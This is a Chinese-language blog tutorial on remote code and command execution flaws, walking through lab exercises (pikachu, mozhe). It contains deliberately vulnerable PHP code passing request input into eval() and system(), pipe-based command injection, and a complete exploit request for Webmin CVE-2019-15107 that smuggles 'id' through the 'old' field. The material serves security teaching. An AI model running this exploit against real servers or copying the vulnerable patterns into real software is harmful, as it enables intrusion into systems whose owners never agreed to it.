RCE代码以及命令执行漏洞

关于RCE概念

在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用 代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代 码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏 洞。同样调用系统命令处理,将造成命令执行漏洞。

“远程命令执行 英文名称:RCE (remotecode execution) ,简称RCE漏洞,是指用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

RCE分为代码执行和命令执行

形成漏洞的原因:可控变量,函数漏洞

两个条件缺一不可。

代码执行

代码执行:执行的是脚本代码,就比如php,python,java等语言,RCE代码执行可以造成脚本语言任意代码执行。

举例

PHP

eval()函数中的eval是evaluate的简称,这个函数的作用就是把一段字符串当作PHP语句来执行,一般情况下不建议使用容易被黑客利用。

在服务器上创建以下代码

<?php
        $code=$_GET['x'];
        eval($code);
?>

取名test.php 我们进行访问。

rce0

可以看到我们输入的东西被当作php语句去执行了,这就是最简单的代码执行。

命令执行

命令执行:执行的是操作系统的命令 比如 cmd powershell等。

一些脚本语言是由相应的函数支持 输入的字符串直接执行系统命令的。

举例

比如PHP的system函数,

System()函数的主要功能是在系统权限允许的情况是执行系统命令,windows系统和Linux系统都可以执行,Windows系统下可执行可执行文件(.exe、.bat等),也可执行cmd命令,

<?php
       $code=$_GET['x'];
        echo system($code);
?>

rce1

可以看到把我们输入的字符当作系统命令去执行了,这就是最简单的命令执行。

靶场以及CVE

经典靶场

这里是一个很典型的ping 功能 ,直接用  “|” 符号 

管道符主要用于多重命令处理,前面命令的打印结果作为后面命令的输入。简单点说就是,就像工厂的流水线一样,进行完一道工序后,继续传送给下一道工序处理…

在这里就是执行多个命令用,让他执行出来我们想执行的命令 

pikachu

要用管道符,不然光ping 除了地址啥也执行不了。

 

mozhe靶场

充好墨币

mozhe0

启动环境,进入页面 ,一串php代码

mozhe1

我们找个在线php运行网站运行一下这串代码。

mozhe2

这里看到了 echo `   `    

说明:本来这是一个代码执行的漏洞但是由于代码含有echo ``调用了系统命令而前面的echo正好将后面的 echo ``打印出来,所以也就成一个代码执行漏洞变成了一个系统执行漏洞。

解码之后的代码也就是这样

所以他现在能执行系统命令了:我们直接给a传想要执行的系统命令就好

mozhe3

以及看见key了 

用tac 命令拿出来。

mozhe4

 

Webmin Pre-Auth Remote Code Execution (CVE-2019-15107)

这里配置好环境 ,启动,打开页面:

docker

 

找到EXP:

POST /password_change.cgi HTTP/1.1
Host: your-ip:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://your-ip:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2

我们进行抓包利用:

1

 

成功执行系统命令。

扩展其他

网上常见的一句话木马,本质也是RCE,插入一个eval罢了

 

 

© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 共1条

请登录后发表评论